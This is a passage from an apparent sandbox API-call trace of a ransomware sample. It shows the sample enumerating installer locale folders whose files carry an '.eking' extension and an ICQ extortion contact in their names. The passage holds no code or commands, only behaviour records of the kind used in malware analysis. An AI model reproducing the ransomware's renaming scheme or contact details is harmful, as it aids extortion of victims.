ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.492] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3725da4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3725da4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc374c979, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.492] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc374c979, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc374c979, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3772239, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.492] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.493] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.493] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.493] GetProcessHeap () returned 0xc10000 [0212.494] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.494] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0212.494] GetProcessHeap () returned 0xc10000 [0212.494] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.498] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.498] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a20bf7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a20bf7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.498] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.498] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.499] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.499] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.500] GetProcessHeap () returned 0xc10000 [0212.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.500] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0212.500] GetProcessHeap () returned 0xc10000 [0212.500] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.503] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a6e356, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a6e356, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b7b36c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b7b36c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b7b36c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b9e4b6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.505] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.507] GetProcessHeap () returned 0xc10000 [0212.507] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.507] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0212.507] GetProcessHeap () returned 0xc10000 [0212.507] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.511] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.511] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ca9572, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ca9572, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ccf67c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.511] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ccf67c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ccf67c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc406450f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.511] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.511] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.512] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.513] GetProcessHeap () returned 0xc10000 [0212.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.513] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1 [0212.513] GetProcessHeap () returned 0xc10000 [0212.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.516] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d909d5, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d909d5, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ec13ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ec13ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ec13ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fa431e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.516] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.517] GetProcessHeap () returned 0xc10000 [0212.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.517] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0212.517] GetProcessHeap () returned 0xc10000 [0212.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.522] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fca5c8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fca5c8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc4016a96, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc403cd24, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc403cd24, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc403cd24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.524] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.527] GetProcessHeap () returned 0xc10000 [0212.527] HeapFree (in: hHeap=0xc10000, 